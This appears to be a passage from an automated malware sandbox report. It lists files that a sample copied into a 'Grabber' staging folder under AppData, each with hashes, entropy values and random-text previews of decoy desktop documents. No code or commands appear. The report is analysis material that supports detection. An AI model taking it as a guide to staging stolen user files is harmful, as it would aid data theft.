Preview:	NIRMEKAMZHIQPCHHYDLDLONNDCJFTRECXCDYNWSMACINEWVUDRAWELIDKGUGOSLGTIKNJSPGIFRTNFPWDBIHISPKHOBWBMPRCMOQQAVOUVQODKWHOMRFLDKYATGCKZVKRHTCMHJJGYWRTELTQOLJXKPKLCWLNKOQBPNOJHARBPHMNOZRAICCUCIEHOFBKAUBHQNVPQAWMIZZGYXPDVFFYAGVHCILYWHPIYXMHCXNZJBHOBSYJEJJTXWKIBAQBZGNDHAWRNDJBFGUEFMOHHHXTBQHMIBGPLFFGAEFCSIDIGIIDPUHNETSAWPCSJJCDZPMLCWGKVYJOMJWFUXHEQSIPJDTRUPSCBCTYFLTMLRFJUXIBNGXSREQTWHFPIDSKBRTLLRUTFDXFIDFUXMZCFABRMLSHWFSZTZUJRPKXKHBWYAPJLBFVPDCCGSQYVSJDWWNYUXGFFAMCEWZRCITRTQVISLFKGNMRYVUJTQWJUFSLPGOANDHPJXZJWSWQJJZLPACFDBTCFPQMXOVHIOAMCIQCTLIBSRXETYYSVLPHVURWFAJBQPHFKWZOFSUIKXWOHPOJGFCCQGRXFMTCKHSWJPWBLFTLVERFEAFHASTRMUQSDEUNXGDSWWTOQTUBAZVNLXDRFCZWKUVIGVXHTLERNSTFJCPGLHSIFYNUWMACSMFBHFDCZSOPZRKQGTETMPYNUQPOTCKDJQXQUUMEWVKVIEYDAEXLRTMQQSTAVCIBCOSHDMRFFHIAQDBBMBEOMTPGHKJIAYMKMTMXYUVORUJUGSHEHFCYZUALULRJGKXINMJWUWMPZOJOUMUEFFWCKOWNLIEVQWZPJMTQVIEDAFICXPPSUGBPZSMHDQOIXNDWLCSVZUHTSHAPPFDAEETYFLSNJFPXRPZYQLZLSJQALWIOEGAOFDHHNAOIWCTFHXKZJROQRTVBGVHJKRUCGBHKRLCZODATMBGLOISTFOETTXPJOPGPPJYNFXWQFALNGZLGZVJ

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LFOPODGVOH\VWDFPKGDUF.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696835919052288
Encrypted:	false
SSDEEP:	24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
MD5:	197C0DB71198B230CF6568A2AA40C23B
SHA1:	BAE63DD78D567ED9183C0F8D72A191191745C4E5
SHA-256:	6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
SHA-512:	972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
Malicious:	false
Preview:	VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LIJDSFKJZG.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NIRMEKAMZH.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694574194309462
Encrypted:	false
SSDEEP:	24:57msLju1di6quBsK4eI3+RkAjyMKtB/kS0G1:gmjuC1uBsNeAokAUB/GE
MD5:	78801AF1375CDD81ED0CC275FE562870
SHA1:	8ED80B60849A4665F11E20DE225B9ACB1F88D5A9
SHA-256:	44BF2D71E854D09660542648F4B41BC00C70ABA36B4C8FD76F9A8D8AB23B5276
SHA-512:	E20D16EC40FEF1A83DB1FC39A84B691870C30590FC70CA38CC83A8F08C08F626E3136ADBF3B731F85E5768561C8829C42DF3B97C726191FEF3859272A03E99E0
Malicious:	false
Preview:	NIRMEKAMZHIQPCHHYDLDLONNDCJFTRECXCDYNWSMACINEWVUDRAWELIDKGUGOSLGTIKNJSPGIFRTNFPWDBIHISPKHOBWBMPRCMOQQAVOUVQODKWHOMRFLDKYATGCKZVKRHTCMHJJGYWRTELTQOLJXKPKLCWLNKOQBPNOJHARBPHMNOZRAICCUCIEHOFBKAUBHQNVPQAWMIZZGYXPDVFFYAGVHCILYWHPIYXMHCXNZJBHOBSYJEJJTXWKIBAQBZGNDHAWRNDJBFGUEFMOHHHXTBQHMIBGPLFFGAEFCSIDIGIIDPUHNETSAWPCSJJCDZPMLCWGKVYJOMJWFUXHEQSIPJDTRUPSCBCTYFLTMLRFJUXIBNGXSREQTWHFPIDSKBRTLLRUTFDXFIDFUXMZCFABRMLSHWFSZTZUJRPKXKHBWYAPJLBFVPDCCGSQYVSJDWWNYUXGFFAMCEWZRCITRTQVISLFKGNMRYVUJTQWJUFSLPGOANDHPJXZJWSWQJJZLPACFDBTCFPQMXOVHIOAMCIQCTLIBSRXETYYSVLPHVURWFAJBQPHFKWZOFSUIKXWOHPOJGFCCQGRXFMTCKHSWJPWBLFTLVERFEAFHASTRMUQSDEUNXGDSWWTOQTUBAZVNLXDRFCZWKUVIGVXHTLERNSTFJCPGLHSIFYNUWMACSMFBHFDCZSOPZRKQGTETMPYNUQPOTCKDJQXQUUMEWVKVIEYDAEXLRTMQQSTAVCIBCOSHDMRFFHIAQDBBMBEOMTPGHKJIAYMKMTMXYUVORUJUGSHEHFCYZUALULRJGKXINMJWUWMPZOJOUMUEFFWCKOWNLIEVQWZPJMTQVIEDAFICXPPSUGBPZSMHDQOIXNDWLCSVZUHTSHAPPFDAEETYFLSNJFPXRPZYQLZLSJQALWIOEGAOFDHHNAOIWCTFHXKZJROQRTVBGVHJKRUCGBHKRLCZODATMBGLOISTFOETTXPJOPGPPJYNFXWQFALNGZLGZVJ

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\QFAPOWPAFG.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690474000177721
Encrypted:	false
SSDEEP:	24:2OgtZqoLtXCKESzKP+tziBUswJwLVk9zxY/tks7VMejXhggCon:cLtXZEmKPopswJEqxUkp82an
MD5:	A01E6B89B2F69F2DA25CB28751A6261C
SHA1:	48C11C0BECEB053F3DB16EC43135B20360E77E9B
SHA-256:	0D0EB85E2964B5DDA19C78D11B536C72544AE51B09DBEC26E70C69ADDC7E9AA5
SHA-512:	1E335E567B7F959E7524E532E257FBC0A21818BDCE0B909F83CBBCE8013FA61A8D665D7DED0982F87B29A5A786A0EE7129792A1B2D48DD205180569D9E919059
Malicious:	false
Preview:	QFAPOWPAFGZUMXROWPODMNAMXJGGULHBVFMBDFCUTBDPEHPYKVYAURAEPYZMHPBECXOGPOKPNMKAIBYHBFNFVWPHHZFRFVAYYHSJZJTHAYESIKJCXVOVANTTAMQKCXEHJRYFSWGEELTALODIPFLWFILANHAGQENMCPNFLPAJIPRNZRAIETALHZECBIKVUBLJMHNYJXPSAMZZCVZQOHLATXYVRZQROYHFKLVOJLGRAGXLMXJHKHSSCTHDFNSLOUEZPTFGVVVGCDIXIBWQFIIFACZAYUUQZJRKZXJQPLVPFTJAMSPRDIBBPPFLUCOUPPQDSFKQXMEIFUXXAGKAWLWJPNBHZSGIAFFXPBLRMFNGMVBEWTTPFJEHMXLOZWQHEHGWBXCAMZISSZMPHUOREQDUTUEPDVLBWTFCJIFAGQOEHFIMLTDTDLYPEQZDZBBZYMKXTUKVCEROFCABVNAQXVLLCCNLEOGKLFPVSGMNNQZHFNCWNPGBCLLMTYKZMJSUDIPHSUQJQTOTICLSMQNHYJAQTVXMEZAEGNBGADHUJNJLQZSSGWRLYBWJEOTERXWRTICIVUFNKHRUSWRGABWPZDFTGSDASOKXSFUGVBUISDQNJUAOCSOANZFXTFQGDKEKGZJRMJMGTAJCTJEOCZCUZMUYKAKZZQYDRJXWZWMOXQQLWJMWAENIFMHJXMELOZTVHRLQZNWCBXKEBNUBDDOFYHNWIPPRWGDZCQLMHAOLYZIDJJXAASOVDNHNMDDCIWFPIOLQHWQCPUVUZUDVOKBMFLALCZEQWJAKTVUUDROHEKJKHQBLQZNVWSNNZFKMZLQPFYUYHNCDTCBVUUNKNZIORBFTFVKLHZTQAPWVKTTZFCTHJBBWQMZTFKADJIZZANUOLLRBSVTUCNIJWDQPYHEPWEUTFVNOACOFURIPTLDGJUOYFJRHAUIQREUKUSADZYOEDEDZRKKPKLFLFQIMMIKLOCTSOFOEZYVAGMCITCUWAOUT

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UNKRLCVOHV.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UNKRLCVOHV.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UNKRLCVOHV\DQOFHVHTMG.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702862417860716
Encrypted:	false
SSDEEP:	24:JCmIDeBF63lGj/+QvH8n8JCl7odrVgKqBP68iz:4QQQvHFrTqBPXiz
MD5:	CC0686FCDF6617729D1EDF30F49501F1
SHA1:	02D629848E3D467D8143B057F003E0D7448126CD
SHA-256:	31E15305BC0579F03C51A1D6534B332F32C73ABC6D1B68BA0BDA6FCF97F593C9
SHA-512:	8BD18EB486BA6D2799329D9A8EFB3F52C3D109F5CB070290418DDE4B58756CD023857E4CAE62323C530FA0D3A60372C97D9744C1911A688D3592EABD14005F25
Malicious:	false
Preview:	DQOFHVHTMGONGZJMTUDJRBBZMRPVREMYHKGEHFUQYXZCSKHYXSDQYNTHYMAXXVSVAUOGMFIYPDCQLTHSECIYLWTRIBFEAYHUXINIFQBTJDZMINEEJPQYKGEESHWZILKBYECTPQSECVJBFSZOCCSNOVPIAHSFZWVXPNEQGUOXWPBXJRUYFARJLNHPVXAJZAMAADRKIWNDXYEBYMEBSXOJGEOURNOIBBLONDSVHAOQHPMGXZYJJTGITBJPQEBNXGZYUKARGBCVCJUHSRNNEVOIGUVCJVMNFBKNVZYQADNKMLUVPOTXVOQFRBXUSSRFMQEZCJFQXKCGKGKCVGGVBKNPTNSSMADFJLSDMVXHSOETKCENTGLOVOHUYJFTIWFHKFJRYNOXVIGPLHNBFPFOCWMNOQXWIPYAHPKRVTBFYKRBDVDUAZBSLWPPMXJXDVRCRPKOGCUKNZKBLJGIGZASUAZBLZBMGJSBNQSVTMGEWGLMNJKCSBEAGDUINAXDWMHJASNQRRDMKVXOKATATHRLEOJRPCUOAVQIESHZYWIQCSCAPIAJHBTEIYVRFEDCQDCDIYPMQVBWUEHDPIDAGKYZBMLBDUTEIFYLBSHAWEMNTPQDCSTOWSBZWQEBLVBNUWKZFUDMPBKETDOEOIXRFTDUFIBPBSUHXQTCPRPZAKDTRWMGSAVOZBNDDMDIHBSGIPOMYLKSGKUWRGKNXSOLUZDUZYQFQTKMNWLSYKVAQVIHJTFYNRTERQMIRVMLNWEIMHPIWEWIZJJRGOCBVHFGCSCPAIQYTEMYIQJKVUFAZERTMPUQSRHOZHOYABIALCSKDKHEDHJGKBYVCDZGPYPCLDCEFHWFMLSBOUUGKJFXSVKJVYVTSMIZISSWNRRWBNOMXZCOJAULXRXTNHTYWTZNFOKXVGZMTRVOSMSRMYBHKSHRCPZSSMDBJOTQQRGYIHEMZHHSWECVAOPVNLGBYHZVZPLQHOTCJNPUXICWZBLKAQFGUZPW

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UNKRLCVOHV\HMPPSXQPQV.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698711683401115
Encrypted:	false
SSDEEP:	24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
MD5:	47643CE7571E0C995094D7CE5F2005D7
SHA1:	40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
SHA-256:	1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
SHA-512:	3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
Malicious:	false
Preview:	HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UNKRLCVOHV\HQJBRDYKDE.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.691179545447335
Encrypted:	false
SSDEEP:	24:tlYQ6oxCx5XYY3KvUEOIA65F7dAeIQGhrMerXo:rxy5avIgDIQQrMQXo
MD5:	70ED9F89ADEE0C43C2C82F30F075991E
SHA1:	0E75067F3EEBF7D577813A06A0A6A2FA9640A04F
SHA-256:	4CCB14AF416B302962BC020D9E436FCA0B32B56F37932B2CA7D078355282CF80
SHA-512:	A75A2B3BE722735CE45B93CB1522F31D884BA8BE30A122BFCE7E50720773B0B5B48F163BB9FF0239015430BEADD61DAD76F13EA6CC027C5A4AB4B842EED468CB
Malicious:	false
Preview:	HQJBRDYKDEOHXEMHQUWMHZKQTIUMQUJZQSHSNBAZYZJDQYWUPMZFOTGKPEFSZCMKVLFONSCAAMYVGLIHZYOTOPUUVQOBDOLNPVUWURWNEXALCBEMRUAMWIVXUEMKBDPTQDMNCZDHIBPXPQNVVBSEAMAZGUFIOXJXUMQDPOKVVJUQBWZVZRBRPTZPVEJYLPIYMEAMWWDBNMSHJABGSBWULRADLUGOSJMUMMAMATXWORDUBFFRKPJOGISDLVVWVEVKTCLPSYFZVEZUCAYZDFGQESZIGEIJSPECVLABTLKSYGZSZGOCSOVUTVVPDTKMXTQIDAXVAJZEADSIEJVOWEHIMAOXMXIYKZIBMQKEOKXDOHFZWHLAGEWJECAZGRNZINNBMFSXKSHESCTAUQMEPBTLUPWEJFSFLHXHTECHZUUDFJOGDDWIRGOWPPKFZEUJYTJMHKZKHJNTGRKLLEAGPHTTOOTTMGEBMEHXZJPZXSVAQMYTVIDQEYRXIAPROXUHUUXYGMHCRUUYFQOWDUPJKUNGSADHWGBZUQMPTWLBUXNFUJGXUJHMMUUHZIKPUPRZVXNDGTJDDXIMANOVZFNWWEHJHXRQXSYDNXTPEXJZNKPPCJBVRMLFMRIEWFPGJGVBHZKCGUUQFRCXDGAPMAVRPRODGVOWMFUTKARIMTYBKFAHZMPYXRSLUFTYOWQDSLXVKMYYISNNZDBQEVANDLZJURRLNHZBMEVGPOIXUCEKJTTUZSEQSNPEEYVXCUAWHUWEFITOITMDHBLUWCIANEGYREWEOVBZRHQTHBYYPFCKKGLXQPBHRRMJUHMZXPSZSYQISKTCKOCWTTRZHBQSMTMNCYCQKIGYNDYWGUIVILQUURMKJKQBBDUZOINKPJRQEGWTTZOFXCCZXUCHKCWUSBTKAOSTDEHMZTFHPRMNWUWUKXNTZRKJRQLXXQCEGZPAHKOBVMNQQIYGWKFTHIVTFKISEBNGTEJIXPIRDTAGJZNJKNLM

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UNKRLCVOHV\UNKRLCVOHV.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
